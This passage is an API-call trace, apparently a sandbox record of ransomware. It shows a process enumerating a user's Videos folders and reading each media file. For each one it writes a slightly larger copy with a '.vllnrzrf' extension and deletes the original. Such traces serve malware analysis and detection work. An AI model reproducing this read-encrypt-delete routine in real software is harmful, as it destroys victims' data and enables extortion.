dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.542] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0cea30 | out: lpFindFileData=0x1c0cea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39f4db30, ftCreationTime.dwHighDateTime=0x1d5e2d4, ftLastAccessTime.dwLowDateTime=0x42cbcb50, ftLastAccessTime.dwHighDateTime=0x1d5da3d, ftLastWriteTime.dwLowDateTime=0x42cbcb50, ftLastWriteTime.dwHighDateTime=0x1d5da3d, nFileSizeHigh=0x0, nFileSizeLow=0xd1de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccKH0ADeFYq36.mp4", cAlternateFileName="CCKH0A~1.MP4")) returned 1 [0119.542] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0cea30 | out: lpFindFileData=0x1c0cea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89e296a0, ftCreationTime.dwHighDateTime=0x1d5dc8f, ftLastAccessTime.dwLowDateTime=0x6a262250, ftLastAccessTime.dwHighDateTime=0x1d5e1b2, ftLastWriteTime.dwLowDateTime=0x6a262250, ftLastWriteTime.dwHighDateTime=0x1d5e1b2, nFileSizeHigh=0x0, nFileSizeLow=0x18242, dwReserved0=0x0, dwReserved1=0x0, cFileName="sSItY.mp4", cAlternateFileName="")) returned 1 [0119.542] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0cea30 | out: lpFindFileData=0x1c0cea30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0119.542] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0119.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0cec90) returned 1 [0119.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0cec50) returned 1 [0119.544] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\ccKH0ADeFYq36.mp4", nBufferLength=0x105, lpBuffer=0x1c0ce750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\ccKH0ADeFYq36.mp4", lpFilePart=0x0) returned 0x3e [0119.545] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\ccKH0ADeFYq36.mp4", nBufferLength=0x105, lpBuffer=0x1c0ce750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\ccKH0ADeFYq36.mp4", lpFilePart=0x0) returned 0x3e [0119.545] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\ccKH0ADeFYq36.mp4", nBufferLength=0x105, lpBuffer=0x1c0ce750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\ccKH0ADeFYq36.mp4", lpFilePart=0x0) returned 0x3e [0119.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0cec30) returned 1 [0119.545] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\ccKH0ADeFYq36.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2w8-bza\\cckh0adefyq36.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4b8 [0119.548] GetFileType (hFile=0x4b8) returned 0x1 [0119.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ceba0) returned 1 [0119.549] GetFileType (hFile=0x4b8) returned 0x1 [0119.549] GetFileSize (in: hFile=0x4b8, lpFileSizeHigh=0x1c0cedc8 | out: lpFileSizeHigh=0x1c0cedc8*=0x0) returned 0xd1de [0119.549] ReadFile (in: hFile=0x4b8, lpBuffer=0x237f918, nNumberOfBytesToRead=0xd1de, lpNumberOfBytesRead=0x1c0cecf8, lpOverlapped=0x0 | out: lpBuffer=0x237f918*, lpNumberOfBytesRead=0x1c0cecf8*=0xd1de, lpOverlapped=0x0) returned 1 [0119.550] CloseHandle (hObject=0x4b8) returned 1 [0119.562] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\ccKH0ADeFYq36.mp4.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0ce750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\ccKH0ADeFYq36.mp4.vllnrzrf", lpFilePart=0x0) returned 0x47 [0119.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0cec30) returned 1 [0119.562] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\ccKH0ADeFYq36.mp4.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2w8-bza\\cckh0adefyq36.mp4.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4b8 [0119.590] GetFileType (hFile=0x4b8) returned 0x1 [0119.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ceba0) returned 1 [0119.590] GetFileType (hFile=0x4b8) returned 0x1 [0119.590] WriteFile (in: hFile=0x4b8, lpBuffer=0x23c9460*, nNumberOfBytesToWrite=0xd3de, lpNumberOfBytesWritten=0x1c0ced58, lpOverlapped=0x0 | out: lpBuffer=0x23c9460*, lpNumberOfBytesWritten=0x1c0ced58*=0xd3de, lpOverlapped=0x0) returned 1 [0119.592] CloseHandle (hObject=0x4b8) returned 1 [0119.600] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\ccKH0ADeFYq36.mp4", nBufferLength=0x105, lpBuffer=0x1c0ce750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\ccKH0ADeFYq36.mp4", lpFilePart=0x0) returned 0x3e [0119.601] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\ccKH0ADeFYq36.mp4", nBufferLength=0x105, lpBuffer=0x1c0ce8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\ccKH0ADeFYq36.mp4", lpFilePart=0x0) returned 0x3e [0119.601] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\ccKH0ADeFYq36.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2w8-bza\\cckh0adefyq36.mp4")) returned 1 [0119.606] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\sSItY.mp4", nBufferLength=0x105, lpBuffer=0x1c0ce750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\sSItY.mp4", lpFilePart=0x0) returned 0x36 [0119.606] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\sSItY.mp4", nBufferLength=0x105, lpBuffer=0x1c0ce750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\sSItY.mp4", lpFilePart=0x0) returned 0x36 [0119.606] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\sSItY.mp4", nBufferLength=0x105, lpBuffer=0x1c0ce750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\sSItY.mp4", lpFilePart=0x0) returned 0x36 [0119.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0cec30) returned 1 [0119.606] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\sSItY.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2w8-bza\\ssity.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4b8 [0119.607] GetFileType (hFile=0x4b8) returned 0x1 [0119.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ceba0) returned 1 [0119.607] GetFileType (hFile=0x4b8) returned 0x1 [0119.607] GetFileSize (in: hFile=0x4b8, lpFileSizeHigh=0x1c0cedc8 | out: lpFileSizeHigh=0x1c0cedc8*=0x0) returned 0x18242 [0119.607] ReadFile (in: hFile=0x4b8, lpBuffer=0x123732f0, nNumberOfBytesToRead=0x18242, lpNumberOfBytesRead=0x1c0cecf8, lpOverlapped=0x0 | out: lpBuffer=0x123732f0*, lpNumberOfBytesRead=0x1c0cecf8*=0x18242, lpOverlapped=0x0) returned 1 [0119.761] CloseHandle (hObject=0x4b8) returned 1 [0119.974] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\sSItY.mp4.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0ce750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\sSItY.mp4.vllnrzrf", lpFilePart=0x0) returned 0x3f [0119.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0cec30) returned 1 [0119.974] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\sSItY.mp4.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2w8-bza\\ssity.mp4.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4b8 [0119.974] GetFileType (hFile=0x4b8) returned 0x1 [0119.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ceba0) returned 1 [0119.975] GetFileType (hFile=0x4b8) returned 0x1 [0119.975] WriteFile (in: hFile=0x4b8, lpBuffer=0x12404198*, nNumberOfBytesToWrite=0x18442, lpNumberOfBytesWritten=0x1c0ced58, lpOverlapped=0x0 | out: lpBuffer=0x12404198*, lpNumberOfBytesWritten=0x1c0ced58*=0x18442, lpOverlapped=0x0) returned 1 [0119.977] CloseHandle (hObject=0x4b8) returned 1 [0119.988] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\sSItY.mp4", nBufferLength=0x105, lpBuffer=0x1c0ce750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\sSItY.mp4", lpFilePart=0x0) returned 0x36 [0119.988] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\sSItY.mp4", nBufferLength=0x105, lpBuffer=0x1c0ce8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\sSItY.mp4", lpFilePart=0x0) returned 0x36 [0119.988] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\sSItY.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2w8-bza\\ssity.mp4")) returned 1 [0119.990] CoUninitialize () Thread: id = 109 os_tid = 0xad8 [0120.574] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0120.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1c04ed80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0120.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04f1e0) returned 1 [0120.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1c04ecd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0120.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\", nBufferLength=0x105, lpBuffer=0x1c04ec70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\", lpFilePart=0x0) returned 0x38 [0120.575] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\*.*", lpFindFileData=0x1c04ee80 | out: lpFindFileData=0x1c04ee80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c6d9200, ftCreationTime.dwHighDateTime=0x1d5e62b, ftLastAccessTime.dwLowDateTime=0x174cf6e0, ftLastAccessTime.dwHighDateTime=0x1d5daea, ftLastWriteTime.dwLowDateTime=0x174cf6e0, ftLastWriteTime.dwHighDateTime=0x1d5daea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0120.576] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04eed0 | out: lpFindFileData=0x1c04eed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c6d9200, ftCreationTime.dwHighDateTime=0x1d5e62b, ftLastAccessTime.dwLowDateTime=0x174cf6e0, ftLastAccessTime.dwHighDateTime=0x1d5daea, ftLastWriteTime.dwLowDateTime=0x174cf6e0, ftLastWriteTime.dwHighDateTime=0x1d5daea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.576] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04eed0 | out: lpFindFileData=0x1c04eed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eecff90, ftCreationTime.dwHighDateTime=0x1d5e11e, ftLastAccessTime.dwLowDateTime=0x4f0bf260, ftLastAccessTime.dwHighDateTime=0x1d5e2a2, ftLastWriteTime.dwLowDateTime=0x4f0bf260, ftLastWriteTime.dwHighDateTime=0x1d5e2a2, nFileSizeHigh=0x0, nFileSizeLow=0x10b07, dwReserved0=0x0, dwReserved1=0x0, cFileName="38u-qB4.mkv", cAlternateFileName="")) returned 1 [0120.576] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04eed0 | out: lpFindFileData=0x1c04eed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6129f90, ftCreationTime.dwHighDateTime=0x1d5e16e, ftLastAccessTime.dwLowDateTime=0x1aeba680, ftLastAccessTime.dwHighDateTime=0x1d5ded1, ftLastWriteTime.dwLowDateTime=0x1aeba680, ftLastWriteTime.dwHighDateTime=0x1d5ded1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LQz6AdzNi4BeZmO", cAlternateFileName="LQZ6AD~1")) returned 1 [0120.576] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04eed0 | out: lpFindFileData=0x1c04eed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bdd740, ftCreationTime.dwHighDateTime=0x1d5db9b, ftLastAccessTime.dwLowDateTime=0x9105eff0, ftLastAccessTime.dwHighDateTime=0x1d5d801, ftLastWriteTime.dwLowDateTime=0x9105eff0, ftLastWriteTime.dwHighDateTime=0x1d5d801, nFileSizeHigh=0x0, nFileSizeLow=0xac14, dwReserved0=0x0, dwReserved1=0x0, cFileName="MX6 FPUAqVloMxeN.flv", cAlternateFileName="MX6FPU~1.FLV")) returned 1 [0120.576] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04eed0 | out: lpFindFileData=0x1c04eed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b19ad60, ftCreationTime.dwHighDateTime=0x1d5db9a, ftLastAccessTime.dwLowDateTime=0xdebf16d0, ftLastAccessTime.dwHighDateTime=0x1d5df5f, ftLastWriteTime.dwLowDateTime=0xdebf16d0, ftLastWriteTime.dwHighDateTime=0x1d5df5f, nFileSizeHigh=0x0, nFileSizeLow=0x18a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SRQXm E74RAVLQBz SP.mp4", cAlternateFileName="SRQXME~1.MP4")) returned 1 [0120.577] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04eed0 | out: lpFindFileData=0x1c04eed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe07adf0, ftCreationTime.dwHighDateTime=0x1d5e418, ftLastAccessTime.dwLowDateTime=0x4ad19210, ftLastAccessTime.dwHighDateTime=0x1d5e5d9, ftLastWriteTime.dwLowDateTime=0x4ad19210, ftLastWriteTime.dwHighDateTime=0x1d5e5d9, nFileSizeHigh=0x0, nFileSizeLow=0x5db, dwReserved0=0x0, dwReserved1=0x0, cFileName="vivyJ4WkdB 3zmkLsUS.mp4", cAlternateFileName="VIVYJ4~1.MP4")) returned 1 [0120.577] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04eed0 | out: lpFindFileData=0x1c04eed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd099b7c0, ftCreationTime.dwHighDateTime=0x1d5dc5a, ftLastAccessTime.dwLowDateTime=0xe1435280, ftLastAccessTime.dwHighDateTime=0x1d5df24, ftLastWriteTime.dwLowDateTime=0xe1435280, ftLastWriteTime.dwHighDateTime=0x1d5df24, nFileSizeHigh=0x0, nFileSizeLow=0x4c39, dwReserved0=0x0, dwReserved1=0x0, cFileName="YWyU2O.flv", cAlternateFileName="")) returned 1 [0120.577] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04eed0 | out: lpFindFileData=0x1c04eed0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0120.577] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0120.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04f130) returned 1 [0120.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04f0f0) returned 1 [0120.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\38u-qB4.mkv", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\38u-qB4.mkv", lpFilePart=0x0) returned 0x43 [0120.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\38u-qB4.mkv", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\38u-qB4.mkv", lpFilePart=0x0) returned 0x43 [0120.579] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\38u-qB4.mkv", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\38u-qB4.mkv", lpFilePart=0x0) returned 0x43 [0120.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04f0d0) returned 1 [0120.579] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\38u-qB4.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\38u-qb4.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4d0 [0120.579] GetFileType (hFile=0x4d0) returned 0x1 [0120.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04f040) returned 1 [0120.579] GetFileType (hFile=0x4d0) returned 0x1 [0120.579] GetFileSize (in: hFile=0x4d0, lpFileSizeHigh=0x1c04f268 | out: lpFileSizeHigh=0x1c04f268*=0x0) returned 0x10b07 [0120.595] ReadFile (in: hFile=0x4d0, lpBuffer=0x23fef08, nNumberOfBytesToRead=0x10b07, lpNumberOfBytesRead=0x1c04f198, lpOverlapped=0x0 | out: lpBuffer=0x23fef08*, lpNumberOfBytesRead=0x1c04f198*=0x10b07, lpOverlapped=0x0) returned 1 [0120.770] CloseHandle (hObject=0x4d0) returned 1 [0120.792] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\38u-qB4.mkv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\38u-qB4.mkv.vllnrzrf", lpFilePart=0x0) returned 0x4c [0120.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04f0d0) returned 1 [0120.792] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\38u-qB4.mkv.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\38u-qb4.mkv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x50c [0120.793] GetFileType (hFile=0x50c) returned 0x1 [0120.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04f040) returned 1 [0120.793] GetFileType (hFile=0x50c) returned 0x1 [0120.793] WriteFile (in: hFile=0x50c, lpBuffer=0x2274d20*, nNumberOfBytesToWrite=0x10d07, lpNumberOfBytesWritten=0x1c04f1f8, lpOverlapped=0x0 | out: lpBuffer=0x2274d20*, lpNumberOfBytesWritten=0x1c04f1f8*=0x10d07, lpOverlapped=0x0) returned 1 [0120.795] CloseHandle (hObject=0x50c) returned 1 [0120.797] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\38u-qB4.mkv", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\38u-qB4.mkv", lpFilePart=0x0) returned 0x43 [0120.797] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\38u-qB4.mkv", nBufferLength=0x105, lpBuffer=0x1c04ed90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\38u-qB4.mkv", lpFilePart=0x0) returned 0x43 [0120.797] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\38u-qB4.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\38u-qb4.mkv")) returned 1 [0120.898] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\MX6 FPUAqVloMxeN.flv", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\MX6 FPUAqVloMxeN.flv", lpFilePart=0x0) returned 0x4c [0120.898] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\MX6 FPUAqVloMxeN.flv", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\MX6 FPUAqVloMxeN.flv", lpFilePart=0x0) returned 0x4c [0120.898] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\MX6 FPUAqVloMxeN.flv", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\MX6 FPUAqVloMxeN.flv", lpFilePart=0x0) returned 0x4c [0120.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04f0d0) returned 1 [0120.899] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\MX6 FPUAqVloMxeN.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\mx6 fpuaqvlomxen.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x50c [0120.899] GetFileType (hFile=0x50c) returned 0x1 [0120.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04f040) returned 1 [0120.899] GetFileType (hFile=0x50c) returned 0x1 [0120.899] GetFileSize (in: hFile=0x50c, lpFileSizeHigh=0x1c04f268 | out: lpFileSizeHigh=0x1c04f268*=0x0) returned 0xac14 [0120.899] ReadFile (in: hFile=0x50c, lpBuffer=0x22866c0, nNumberOfBytesToRead=0xac14, lpNumberOfBytesRead=0x1c04f198, lpOverlapped=0x0 | out: lpBuffer=0x22866c0*, lpNumberOfBytesRead=0x1c04f198*=0xac14, lpOverlapped=0x0) returned 1 [0120.900] CloseHandle (hObject=0x50c) returned 1 [0120.913] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\MX6 FPUAqVloMxeN.flv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c04ebf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\MX6 FPUAqVloMxeN.flv.vllnrzrf", lpFilePart=0x0) returned 0x55 [0120.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04f0d0) returned 1 [0120.913] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\MX6 FPUAqVloMxeN.flv.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\mx6 fpuaqvlomxen.flv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x50c [0120.914] GetFileType (hFile=0x50c) returned 0x1 [0120.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04f040) returned 1 [0120.914] GetFileType (hFile=0x50c) returned 0x1 [0120.914] WriteFile (in: hFile=0x50c, lpBuffer=0x22c3708*, nNumberOfBytesToWrite=0xae14, 